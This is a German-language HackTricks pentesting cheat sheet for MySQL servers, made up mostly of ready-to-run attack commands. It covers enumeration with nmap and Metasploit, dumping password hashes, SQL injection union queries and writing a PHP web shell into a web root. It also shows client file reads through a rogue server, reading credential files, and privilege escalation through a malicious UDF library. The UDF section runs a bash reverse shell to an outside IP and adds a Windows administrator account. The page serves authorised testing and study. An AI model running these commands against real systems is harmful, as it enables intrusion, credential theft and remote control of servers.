hacktricks/network-services-pentesting/pentesting-mysql.md

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3306 - Pentesting Mysql

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Grundinformationen

MySQL kann als ein Open-Source Relational Database Management System (RDBMS) beschrieben werden, das kostenlos verfügbar ist. Es basiert auf der Structured Query Language (SQL), die die Verwaltung und Manipulation von Datenbanken ermöglicht.

Standardport: 3306

3306/tcp open  mysql

Verbinden

Lokal

mysql -u root # Connect to root without password
mysql -u root -p # A password will be asked (check someone)

Fernzugriff

mysql -h <Hostname> -u root
mysql -h <Hostname> -u root@localhost

External Enumeration

Einige der Enumerationsaktionen erfordern gültige Anmeldeinformationen.

nmap -sV -p 3306 --script mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122 <IP>
msf> use auxiliary/scanner/mysql/mysql_version
msf> use auxiliary/scanner/mysql/mysql_authbypass_hashdump
msf> use auxiliary/scanner/mysql/mysql_hashdump #Creds
msf> use auxiliary/admin/mysql/mysql_enum #Creds
msf> use auxiliary/scanner/mysql/mysql_schemadump #Creds
msf> use exploit/windows/mysql/mysql_start_up #Execute commands Windows, Creds

Brute force

Schreiben Sie beliebige Binärdaten

CONVERT(unhex("6f6e2e786d6c55540900037748b75c7249b75"), BINARY)
CONVERT(from_base64("aG9sYWFhCg=="), BINARY)

MySQL-Befehle

show databases;
use <database>;
connect <database>;
show tables;
describe <table_name>;
show columns from <table>;

select version(); #version
select @@version(); #version
select user(); #User
select database(); #database name

#Get a shell with the mysql client user
\! sh

#Basic MySQLi
Union Select 1,2,3,4,group_concat(0x7c,table_name,0x7C) from information_schema.tables
Union Select 1,2,3,4,column_name from information_schema.columns where table_name="<TABLE NAME>"

#Read & Write
## Yo need FILE privilege to read & write to files.
select load_file('/var/lib/mysql-files/key.txt'); #Read file
select 1,2,"<?php echo shell_exec($_GET['c']);?>",4 into OUTFILE 'C:/xampp/htdocs/back.php'

#Try to change MySQL root password
UPDATE mysql.user SET Password=PASSWORD('MyNewPass') WHERE User='root';
UPDATE mysql.user SET authentication_string=PASSWORD('MyNewPass') WHERE User='root';
FLUSH PRIVILEGES;
quit;
mysql -u username -p < manycommands.sql #A file with all the commands you want to execute
mysql -u root -h 127.0.0.1 -e 'show databases;'

MySQL Berechtigungsenumeration

#Mysql
SHOW GRANTS [FOR user];
SHOW GRANTS;
SHOW GRANTS FOR 'root'@'localhost';
SHOW GRANTS FOR CURRENT_USER();

# Get users, permissions & hashes
SELECT * FROM mysql.user;

#From DB
select * from mysql.user where user='root';
## Get users with file_priv
select user,file_priv from mysql.user where file_priv='Y';
## Get users with Super_priv
select user,Super_priv from mysql.user where Super_priv='Y';

# List functions
SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCTION';
#@ Functions not from sys. db
SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCTION' AND routine_schema!='sys';

Siehe in den Dokumenten die Bedeutung jedes Privilegs: https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html

MySQL Datei RCE

{% content-ref url="../pentesting-web/sql-injection/mysql-injection/mysql-ssrf.md" %} mysql-ssrf.md {% endcontent-ref %}

MySQL willkürlicher Lesezugriff auf Dateien durch den Client

Tatsächlich, wenn Sie versuchen, Daten lokal in eine Tabelle zu laden, fragt der MySQL- oder MariaDB-Server den Client, um sie zu lesen und den Inhalt zu senden. Wenn Sie dann einen MySQL-Client manipulieren können, um sich mit Ihrem eigenen MySQL-Server zu verbinden, können Sie willkürliche Dateien lesen.
Bitte beachten Sie, dass dies das Verhalten ist, das Sie verwenden:

load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';

(Bemerk das Wort "local")
Denn ohne das "local" kannst du bekommen:

mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';

ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement

Initial PoC: https://github.com/allyshka/Rogue-MySql-Server
In diesem Dokument finden Sie eine vollständige Beschreibung des Angriffs und sogar, wie man ihn auf RCE erweitern kann: https://paper.seebug.org/1113/
Hier finden Sie eine Übersicht über den Angriff: http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/

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POST

Mysql Benutzer

Es wird sehr interessant sein, wenn mysql als root läuft:

cat /etc/mysql/mysql.conf.d/mysqld.cnf | grep -v "#" | grep "user"
systemctl status mysql 2>/dev/null | grep -o ".\{0,0\}user.\{0,50\}" | cut -d '=' -f2 | cut -d ' ' -f1

Gefährliche Einstellungen von mysqld.cnf

In der Konfiguration von MySQL-Diensten werden verschiedene Einstellungen verwendet, um deren Betrieb und Sicherheitsmaßnahmen zu definieren:

  • Die user-Einstellung wird verwendet, um den Benutzer zu benennen, unter dem der MySQL-Dienst ausgeführt wird.
  • password wird angewendet, um das Passwort des MySQL-Benutzers festzulegen.
  • admin_address gibt die IP-Adresse an, die auf TCP/IP-Verbindungen über die administrative Netzwerkschnittstelle hört.
  • Die debug-Variable zeigt die aktuellen Debugging-Konfigurationen an, einschließlich sensibler Informationen in Protokollen.
  • sql_warnings verwaltet, ob Informationsstrings für Einzelzeilen-INSERT-Anweisungen generiert werden, wenn Warnungen auftreten, die sensible Daten in Protokollen enthalten.
  • Mit secure_file_priv wird der Umfang von Datenimport- und -exportoperationen eingeschränkt, um die Sicherheit zu erhöhen.

Privilegieneskalation

# Get current user (an all users) privileges and hashes
use mysql;
select user();
select user,password,create_priv,insert_priv,update_priv,alter_priv,delete_priv,drop_priv from user;

# Get users, permissions & creds
SELECT * FROM mysql.user;
mysql -u root --password=<PASSWORD> -e "SELECT * FROM mysql.user;"

# Create user and give privileges
create user test identified by 'test';
grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mysql' WITH GRANT OPTION;

# Get a shell (with your permissions, usefull for sudo/suid privesc)
\! sh

Privilegieneskalation über Bibliothek

Wenn der mysql-Server als root (oder ein anderer privilegierter Benutzer) läuft, können Sie ihn dazu bringen, Befehle auszuführen. Dazu müssen Sie benutzerdefinierte Funktionen verwenden. Um eine benutzerdefinierte Funktion zu erstellen, benötigen Sie eine Bibliothek für das Betriebssystem, auf dem mysql läuft.

Die bösartige Bibliothek, die verwendet werden kann, befindet sich in sqlmap und in metasploit, indem Sie locate "*lib_mysqludf_sys*" ausführen. Die .so-Dateien sind Linux-Bibliotheken und die .dll sind die Windows-Dateien, wählen Sie die, die Sie benötigen.

Wenn Sie diese Bibliotheken nicht haben, können Sie entweder nach ihnen suchen oder diesen linux C-Code herunterladen und in der verwundbaren Linux-Maschine kompilieren:

gcc -g -c raptor_udf2.c
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc

Jetzt, da Sie die Bibliothek haben, melden Sie sich als privilegierter Benutzer (root?) in Mysql an und folgen Sie den nächsten Schritten:

Linux

# Use a database
use mysql;
# Create a table to load the library and move it to the plugins dir
create table npn(line blob);
# Load the binary library inside the table
## You might need to change the path and file name
insert into npn values(load_file('/tmp/lib_mysqludf_sys.so'));
# Get the plugin_dir path
show variables like '%plugin%';
# Supposing the plugin dir was /usr/lib/x86_64-linux-gnu/mariadb19/plugin/
# dump in there the library
select * from npn into dumpfile '/usr/lib/x86_64-linux-gnu/mariadb19/plugin/lib_mysqludf_sys.so';
# Create a function to execute commands
create function sys_exec returns integer soname 'lib_mysqludf_sys.so';
# Execute commands
select sys_exec('id > /tmp/out.txt; chmod 777 /tmp/out.txt');
select sys_exec('bash -c "bash -i >& /dev/tcp/10.10.14.66/1234 0>&1"');

Windows

# CHech the linux comments for more indications
USE mysql;
CREATE TABLE npn(line blob);
INSERT INTO npn values(load_file('C://temp//lib_mysqludf_sys.dll'));
show variables like '%plugin%';
SELECT * FROM mysql.npn INTO DUMPFILE 'c://windows//system32//lib_mysqludf_sys_32.dll';
CREATE FUNCTION sys_exec RETURNS integer SONAME 'lib_mysqludf_sys_32.dll';
SELECT sys_exec("net user npn npn12345678 /add");
SELECT sys_exec("net localgroup Administrators npn /add");

Extrahieren von MySQL-Anmeldeinformationen aus Dateien

In /etc/mysql/debian.cnf finden Sie das Klartext-Passwort des Benutzers debian-sys-maint

cat /etc/mysql/debian.cnf

Sie können diese Anmeldeinformationen verwenden, um sich in der MySQL-Datenbank anzumelden.

In der Datei: /var/lib/mysql/mysql/user.MYD finden Sie alle Hashes der MySQL-Benutzer (die, die Sie aus mysql.user innerhalb der Datenbank extrahieren können).

Sie können sie extrahieren, indem Sie:

grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD | grep -v "mysql_native_password"

Aktivierung der Protokollierung

Sie können die Protokollierung von MySQL-Abfragen in /etc/mysql/my.cnf aktivieren, indem Sie die folgenden Zeilen auskommentieren:

Nützliche Dateien

Konfigurationsdateien

  • windows *
  • config.ini
  • my.ini
  • windows\my.ini
  • winnt\my.ini
  • <InstDir>/mysql/data/
  • unix
  • my.cnf
  • /etc/my.cnf
  • /etc/mysql/my.cnf
  • /var/lib/mysql/my.cnf
  • ~/.my.cnf
  • /etc/my.cnf
  • Befehlshistorie
  • ~/.mysql.history
  • Protokolldateien
  • connections.log
  • update.log
  • common.log

Standard MySQL-Datenbank/Tabellen

{% tabs %} {% tab title="information_schema" %} ALL_PLUGINS
APPLICABLE_ROLES
CHARACTER_SETS
CHECK_CONSTRAINTS
COLLATIONS
COLLATION_CHARACTER_SET_APPLICABILITY
COLUMNS
COLUMN_PRIVILEGES
ENABLED_ROLES
ENGINES
EVENTS
FILES
GLOBAL_STATUS
GLOBAL_VARIABLES
KEY_COLUMN_USAGE
KEY_CACHES
OPTIMIZER_TRACE
PARAMETERS
PARTITIONS
PLUGINS
PROCESSLIST
PROFILING
REFERENTIAL_CONSTRAINTS
ROUTINES
SCHEMATA
SCHEMA_PRIVILEGES
SESSION_STATUS
SESSION_VARIABLES
STATISTICS
SYSTEM_VARIABLES
TABLES
TABLESPACES
TABLE_CONSTRAINTS
TABLE_PRIVILEGES
TRIGGERS
USER_PRIVILEGES
VIEWS
INNODB_LOCKS
INNODB_TRX
INNODB_SYS_DATAFILES
INNODB_FT_CONFIG
INNODB_SYS_VIRTUAL
INNODB_CMP
INNODB_FT_BEING_DELETED
INNODB_CMP_RESET
INNODB_CMP_PER_INDEX
INNODB_CMPMEM_RESET
INNODB_FT_DELETED
INNODB_BUFFER_PAGE_LRU
INNODB_LOCK_WAITS
INNODB_TEMP_TABLE_INFO
INNODB_SYS_INDEXES
INNODB_SYS_TABLES
INNODB_SYS_FIELDS
INNODB_CMP_PER_INDEX_RESET
INNODB_BUFFER_PAGE
INNODB_FT_DEFAULT_STOPWORD
INNODB_FT_INDEX_TABLE
INNODB_FT_INDEX_CACHE
INNODB_SYS_TABLESPACES
INNODB_METRICS
INNODB_SYS_FOREIGN_COLS
INNODB_CMPMEM
INNODB_BUFFER_POOL_STATS
INNODB_SYS_COLUMNS
INNODB_SYS_FOREIGN
INNODB_SYS_TABLESTATS
GEOMETRY_COLUMNS
SPATIAL_REF_SYS
CLIENT_STATISTICS
INDEX_STATISTICS
USER_STATISTICS
INNODB_MUTEXES
TABLE_STATISTICS
INNODB_TABLESPACES_ENCRYPTION
user_variables
INNODB_TABLESPACES_SCRUBBING
INNODB_SYS_SEMAPHORE_WAITS {% endtab %}

{% tab title="mysql" %} columns_priv
column_stats
db
engine_cost
event
func
general_log
gtid_executed
gtid_slave_pos
help_category
help_keyword
help_relation
help_topic
host
index_stats
innodb_index_stats
innodb_table_stats
ndb_binlog_index
plugin
proc
procs_priv
proxies_priv
roles_mapping
server_cost
servers
slave_master_info
slave_relay_log_info
slave_worker_info
slow_log
tables_priv
table_stats
time_zone
time_zone_leap_second
time_zone_name
time_zone_transition
time_zone_transition_type
transaction_registry
user {% endtab %}

{% tab title="performance_schema" %} accounts
cond_instances
events_stages_current
events_stages_history
events_stages_history_long
events_stages_summary_by_account_by_event_name
events_stages_summary_by_host_by_event_name
events_stages_summary_by_thread_by_event_name
events_stages_summary_by_user_by_event_name
events_stages_summary_global_by_event_name
events_statements_current
events_statements_history
events_statements_history_long
events_statements_summary_by_account_by_event_name
events_statements_summary_by_digest
events_statements_summary_by_host_by_event_name
events_statements_summary_by_program
events_statements_summary_by_thread_by_event_name
events_statements_summary_by_user_by_event_name
events_statements_summary_global_by_event_name
events_transactions_current
events_transactions_history
events_transactions_history_long
events_transactions_summary_by_account_by_event_name
events_transactions_summary_by_host_by_event_name
events_transactions_summary_by_thread_by_event_name
events_transactions_summary_by_user_by_event_name
events_transactions_summary_global_by_event_name
events_waits_current
events_waits_history
events_waits_history_long
events_waits_summary_by_account_by_event_name
events_waits_summary_by_host_by_event_name
events_waits_summary_by_instance
events_waits_summary_by_thread_by_event_name
events_waits_summary_by_user_by_event_name
events_waits_summary_global_by_event_name
file_instances
file_summary_by_event_name
file_summary_by_instance
global_status
global_variables
host_cache
hosts
memory_summary_by_account_by_event_name
memory_summary_by_host_by_event_name
memory_summary_by_thread_by_event_name
memory_summary_by_user_by_event_name
memory_summary_global_by_event_name
metadata_locks
mutex_instances
objects_summary_global_by_type
performance_timers
prepared_statements_instances
replication_applier_configuration
replication_applier_status
replication_applier_status_by_coordinator
replication_applier_status_by_worker
replication_connection_configuration
replication_connection_status
replication_group_member_stats
replication_group_members
rwlock_instances
session_account_connect_attrs
session_connect_attrs
session_status
session_variables
setup_actors
setup_consumers
setup_instruments
setup_objects
setup_timers
socket_instances
socket_summary_by_event_name
socket_summary_by_instance
status_by_account
status_by_host
status_by_thread
status_by_user
table_handles
table_io_waits_summary_by_index_usage
table_io_waits_summary_by_table
table_lock_waits_summary_by_table
threads
user_variables_by_thread
users
variables_by_thread {% endtab %}

{% tab title="sys" %} host_summary
host_summary_by_file_io
host_summary_by_file_io_type
host_summary_by_stages
host_summary_by_statement_latency
host_summary_by_statement_type
innodb_buffer_stats_by_schema
innodb_buffer_stats_by_table
innodb_lock_waits
io_by_thread_by_latency
io_global_by_file_by_bytes
io_global_by_file_by_latency
io_global_by_wait_by_bytes
io_global_by_wait_by_latency
latest_file_io
memory_by_host_by_current_bytes
memory_by_thread_by_current_bytes
memory_by_user_by_current_bytes
memory_global_by_current_bytes
memory_global_total
metrics
processlist
ps_check_lost_instrumentation
schema_auto_increment_columns
schema_index_statistics
schema_object_overview
schema_redundant_indexes
schema_table_lock_waits
schema_table_statistics
schema_table_statistics_with_buffer
schema_tables_with_full_table_scans
schema_unused_indexes
session
session_ssl_status
statement_analysis
statements_with_errors_or_warnings
statements_with_full_table_scans
statements_with_runtimes_in_95th_percentile
statements_with_sorting
statements_with_temp_tables
sys_config
user_summary
user_summary_by_file_io
user_summary_by_file_io_type
user_summary_by_stages
user_summary_by_statement_latency
user_summary_by_statement_type
version
wait_classes_global_by_avg_latency
wait_classes_global_by_latency
waits_by_host_by_latency
waits_by_user_by_latency
waits_global_by_latency
x$host_summary
x$host_summary_by_file_io
x$host_summary_by_file_io_type
x$host_summary_by_stages
x$host_summary_by_statement_latency
x$host_summary_by_statement_type
x$innodb_buffer_stats_by_schema
x$innodb_buffer_stats_by_table
x$innodb_lock_waits
x$io_by_thread_by_latency
x$io_global_by_file_by_bytes
x$io_global_by_file_by_latency
x$io_global_by_wait_by_bytes
x$io_global_by_wait_by_latency
x$latest_file_io
x$memory_by_host_by_current_bytes
x$memory_by_thread_by_current_bytes
x$memory_by_user_by_current_bytes
x$memory_global_by_current_bytes
x$memory_global_total
x$processlist
x$ps_digest_95th_percentile_by_avg_us
x$ps_digest_avg_latency_distribution
x$ps_schema_table_statistics_io
x$schema_flattened_keys
x$schema_index_statistics
x$schema_table_lock_waits
x$schema_table_statistics
x$schema_table_statistics_with_buffer
x$schema_tables_with_full_table_scans
x$session
x$statement_analysis
x$statements_with_errors_or_warnings
x$statements_with_full_table_scans
x$statements_with_runtimes_in_95th_percentile
x$statements_with_sorting
x$statements_with_temp_tables
x$user_summary
x$user_summary_by_file_io
x$user_summary_by_file_io_type
x$user_summary_by_stages
x$user_summary_by_statement_latency
x$user_summary_by_statement_type
x$wait_classes_global_by_avg_latency
x$wait_classes_global_by_latency
x$waits_by_host_by_latency
x$waits_by_user_by_latency
x$waits_global_by_latency {% endtab %} {% endtabs %}

HackTricks Automatische Befehle

Protocol_Name: MySql    #Protocol Abbreviation if there is one.
Port_Number:  3306     #Comma separated if there is more than one.
Protocol_Description: MySql     #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for MySql
Note: |
MySQL is a freely available open source Relational Database Management System (RDBMS) that uses Structured Query Language (SQL).

https://book.hacktricks.xyz/pentesting/pentesting-mysql

Entry_2:
Name: Nmap
Description: Nmap with MySql Scripts
Command: nmap --script=mysql-databases.nse,mysql-empty-password.nse,mysql-enum.nse,mysql-info.nse,mysql-variables.nse,mysql-vuln-cve2012-2122.nse {IP} -p 3306

Entry_3:
Name: MySql
Description: Attempt to connect to mysql server
Command: mysql -h {IP} -u {Username}@localhost

Entry_4:
Name: MySql consolesless mfs enumeration
Description: MySql enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_version; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_authbypass_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/admin/mysql/mysql_enum; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_schemadump; set RHOSTS {IP}; set RPORT 3306; run; exit'

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{% embed url="https://www.rootedcon.com/" %}

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